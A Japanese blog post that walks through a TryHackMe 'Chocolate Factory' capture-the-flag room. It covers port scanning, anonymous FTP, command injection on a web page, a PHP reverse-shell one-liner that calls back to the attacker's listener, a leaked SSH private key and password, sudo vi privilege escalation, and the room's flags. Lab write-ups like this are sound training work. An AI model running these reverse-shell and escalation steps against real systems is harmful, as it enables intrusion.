1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

【TryHackMe】Chocolate Factory Writeup

Last updated at Posted at 2024-03-31

はじめに

OSCP合格に向けて着手しているTryHackMeのwriteup兼備忘録になります。
今回は難易度がEasyである「Chocolate Factory」というRoomを攻略しました。
※扱い次第では法に触れるため、悪用厳禁です。

Task1 Introduction

確認タスクの為、省略

Task2 Challenges

ポートスキャンを行います。

└─$ nmap -Pn -T4 10.10.55.16 
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-29 23:10 EDT
Nmap scan report for 10.10.55.16
Host is up (0.25s latency).
Not shown: 989 closed tcp ports (conn-refused)
PORT    STATE SERVICE
21/tcp  open  ftp
22/tcp  open  ssh
80/tcp  open  http
100/tcp open  newacct
106/tcp open  pop3pw
109/tcp open  pop2
110/tcp open  pop3
111/tcp open  rpcbind
113/tcp open  ident
119/tcp open  nntp
125/tcp open  locus-map

Nmap done: 1 IP address (1 host up) scanned in 27.55 seconds

ftpを匿名でログイン可能であるかも確認します。

└─$ nmap --script=ftp-anon 10.10.55.16
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-29 23:15 EDT
Nmap scan report for 10.10.55.16
Host is up (0.26s latency).
Not shown: 989 closed tcp ports (conn-refused)
PORT    STATE SERVICE
21/tcp  open  ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-rw-r--    1 1000     1000       208838 Sep 30  2020 gum_room.jpg
22/tcp  open  ssh
80/tcp  open  http
100/tcp open  newacct
106/tcp open  pop3pw
109/tcp open  pop2
110/tcp open  pop3
111/tcp open  rpcbind
113/tcp open  ident
119/tcp open  nntp
125/tcp open  locus-map

Nmap done: 1 IP address (1 host up) scanned in 39.37 seconds

匿名でログインし、お菓子の画像を確認しました。

原作ではお菓子の中に当たり券のような物が入っている設定があったので、再現されていると思い画像解析などをしたのですが何もなく、、

└─$ ftp 10.10.55.16 
Connected to 10.10.55.16.
220 (vsFTPd 3.0.3)
Name (10.10.55.16:kali): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> 
ftp> 
ftp> ls
229 Entering Extended Passive Mode (|||17601|)
150 Here comes the directory listing.
-rw-rw-r--    1 1000     1000       208838 Sep 30  2020 gum_room.jpg
226 Directory send OK.
ftp> 
ftp> !pwd
/home/kali
ftp> 
ftp> get gum_room.jpg 
local: gum_room.jpg remote: gum_room.jpg
229 Entering Extended Passive Mode (|||64081|)
150 Opening BINARY mode data connection for gum_room.jpg (208838 bytes).
100% |********************************|   203 KiB   94.76 KiB/s    00:00 ETA
226 Transfer complete.
208838 bytes received in 00:02 (84.76 KiB/s)

image.png

続いてブラウザへアクセスすると、ログインページが表示されました。
ソースコードには特にヒントも無さそう。

image.png

gobusterコマンドで隠しディレクトリを探してみます。

└─$ gobuster dir -u http://10.10.157.60 -x html,php -w ../../usr/share/dirb/wordlists/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.157.60
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                ../../usr/share/dirb/wordlists/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 277]
/.php                 (Status: 403) [Size: 277]
/.hta                 (Status: 403) [Size: 277]
/.hta.html            (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/.htaccess            (Status: 403) [Size: 277]
/.htpasswd.html       (Status: 403) [Size: 277]
/.htpasswd.php        (Status: 403) [Size: 277]
/.htaccess.html       (Status: 403) [Size: 277]
/.htaccess.php        (Status: 403) [Size: 277]
/.hta.php             (Status: 403) [Size: 277]
/home.php             (Status: 200) [Size: 569]
/index.html           (Status: 200) [Size: 1466]
/index.html           (Status: 200) [Size: 1466]
/server-status        (Status: 403) [Size: 277]
Progress: 13842 / 13845 (99.98%)
===============================================================
Finished
======================

「home.php」へアクセスすると、何か検索バーが表示されているサイトへ遷移されました。

image.png

image.png

どうやらlinuxのコマンドが使えそう。

Enter the key you found!

lsコマンドで表示されたファイルに対してcatコマンドを実行したところkeyを見つけたので、1問目の回答になります。

image.png

-VkgXhFf6sAEcAwrC6YR-SZbiuSb8ABXeQuvhcGSQzY=

What is Charlie's password?

homeディレクトリ内にCharlieのフォルダを確認し、中にいくつかファイルがあったのですが確認できず、、
image.png

image.png

いろいろ調べていたところ、どうやらphpが使えるらしい
image.png

なので下記コマンドを実行して、リバースシェルを実行します。

php -r '$sock=fsockopen("10.8.59.30","1234");exec("/bin/sh -i <&3 >&3 2>&3");'

プロンプト上ではnetcatで待ちの状態にしてから、上記コマンドを実行します。

└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.8.59.30] from (UNKNOWN) [10.10.55.16] 59144
/bin/sh: 0: can't access tty; job control turned off
$ 

プロンプト上でCharlieのフォルダへ移行し、いくつかファイルを見ていたところ、sshキーを見つけました。

 cat teleport
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA4adrPc3Uh98RYDrZ8CUBDgWLENUybF60lMk9YQOBDR+gpuRW
1AzL12K35/Mi3Vwtp0NSwmlS7ha4y9sv2kPXv8lFOmLi1FV2hqlQPLw/unnEFwUb
L4KBqBemIDefV5pxMmCqqguJXIkzklAIXNYhfxLr8cBS/HJoh/7qmLqrDoXNhwYj
B3zgov7RUtk15Jv11D0Itsyr54pvYhCQgdoorU7l42EZJayIomHKon1jkofd1/oY
fOBwgz6JOlNH1jFJoyIZg2OmEhnSjUltZ9mSzmQyv3M4AORQo3ZeLb+zbnSJycEE
RaObPlb0dRy3KoN79lt+dh+jSg/dM/TYYe5L4wIDAQABAoIBAD2TzjQDYyfgu4Ej
...
-----END RSA PRIVATE KEY-----

普段通りであればJohn the Ripperでパスワードを解析するのですが、どうやらそもそもパスワードをかけていないとのこと。

└─$ ../../../usr/share/john/ssh2john.py id_rsa > out.txt
id_rsa has no password!
                                                                             
┌──(kali㉿kali)-[~/choco]
└─$ john --wordlist=../Desktop/rockyou.txt out.txt      
Using default input encoding: UTF-8
No password hashes loaded (see FAQ)

なので、パスワード無しでログインします。

└─$ sudo ssh -i id_rsa charlie@10.10.55.16
[sudo] password for kali: 
The authenticity of host '10.10.55.16 (10.10.55.16)' can't be established.
ED25519 key fingerprint is SHA256:WwycVD8zBUVfJS6sNVj192MU3Q7P4rylVnanjGx/Q5U.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? ye
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '10.10.55.16' (ED25519) to the list of known hosts.
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-115-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

・・・

charlie@chocolate-factory:/$ 

ここでの回答としてパスワードは無かったようなと思いつつ、どうやら最初に開いたログインページでのcharlie用のパスワードを探すらしい

下記のパスにあるphpファイル内の中に回答がありました。

charlie@chocolate-factory:/var/www/html$ 
charlie@chocolate-factory:/var/www/html$ cat validate.php 
<?php
        $uname=$_POST['uname'];
        $password=$_POST['password'];
        if($uname=="charlie" && $password=="cn7824"){
                echo "<script>window.location='home.php'</script>";
        }
        else{
                echo "<script>alert('Incorrect Credentials');</script>";
                echo "<script>window.location='index.html'</script>";
        }
?>charlie@chocolate-factory:/var/www/html$ 

change user to charlie

回答は不要とのこと

Enter the user flag

charlieでログインしているので、改めてcharlieフォルダ内のテキストファイルを確認しました。

charlie@chocolate-factory:/home/charlie$ cat user.txt 
flag{cd5509042371b34e4826e4838b522d2e}

Enter the root flag

charlieユーザーが特権で実行できるコマンドを確認します。

charlie@chocolate-factory:/$ sudo -l
Matching Defaults entries for charlie on chocolate-factory:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User charlie may run the following commands on chocolate-factory:
    (ALL : !root) NOPASSWD: /usr/bin/vi
charlie@chocolate-factory:/$ 

viコマンドが有効とのこと。
いつものサイトで確認します。GTFOBins

$ sudo vi -c ':!/bin/sh' /dev/null

# whoami
root

rootへ昇格しました。

後はいつも通りrootフォルダ内のテキストファイル見て終わりかと思ったら、、

# cd root
# ls
root.py
# 
# 
# cat root.py
from cryptography.fernet import Fernet
import pyfiglet
key=input("Enter the key:  ")
f=Fernet(key)
encrypted_mess= 'gAAAAABfdb52eejIlEaE9ttPY8ckMMfHTIw5lamAWMy8yEdGPhnm9_H_yQikhR-bPy09-NVQn8lF_PDXyTo-T7CpmrFfoVRWzlm0OffAsUM7KIO_xbIQkQojwf_unpPAAKyJQDHNvQaJ'
dcrypt_mess=f.decrypt(encrypted_mess)
mess=dcrypt_mess.decode()
display1=pyfiglet.figlet_format("You Are Now The Owner Of ")
display2=pyfiglet.figlet_format("Chocolate Factory ")
print(display1)
print(display2)
print(mess)# 

pythonファイルが格納されていました。実行時にkeyを入力する必要があるとのこと。
そういえば1問目にkeyを探しましたよね?

# python root.py
Enter the key:  '-VkgXhFf6sAEcAwrC6YR-SZbiuSb8ABXeQuvhcGSQzY='
__   __               _               _   _                 _____ _          
\ \ / /__  _   _     / \   _ __ ___  | \ | | _____      __ |_   _| |__   ___ 
 \ V / _ \| | | |   / _ \ | '__/ _ \ |  \| |/ _ \ \ /\ / /   | | | '_ \ / _ \
  | | (_) | |_| |  / ___ \| | |  __/ | |\  | (_) \ V  V /    | | | | | |  __/
  |_|\___/ \__,_| /_/   \_\_|  \___| |_| \_|\___/ \_/\_/     |_| |_| |_|\___|
                                                                             
  ___                              ___   __  
 / _ \__      ___ __   ___ _ __   / _ \ / _| 
| | | \ \ /\ / / '_ \ / _ \ '__| | | | | |_  
| |_| |\ V  V /| | | |  __/ |    | |_| |  _| 
 \___/  \_/\_/ |_| |_|\___|_|     \___/|_|   
                                             

  ____ _                     _       _       
 / ___| |__   ___   ___ ___ | | __ _| |_ ___ 
| |   | '_ \ / _ \ / __/ _ \| |/ _` | __/ _ \
| |___| | | | (_) | (_| (_) | | (_| | ||  __/
 \____|_| |_|\___/ \___\___/|_|\__,_|\__\___|
                                             
 _____          _                    
|  ___|_ _  ___| |_ ___  _ __ _   _  
| |_ / _` |/ __| __/ _ \| '__| | | | 
|  _| (_| | (__| || (_) | |  | |_| | 
|_|  \__,_|\___|\__\___/|_|   \__, | 
                              |___/  

flag{cec59161d338fef787fcb4e296b42124}

無事獲得しました。

さいごに

以上となります。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?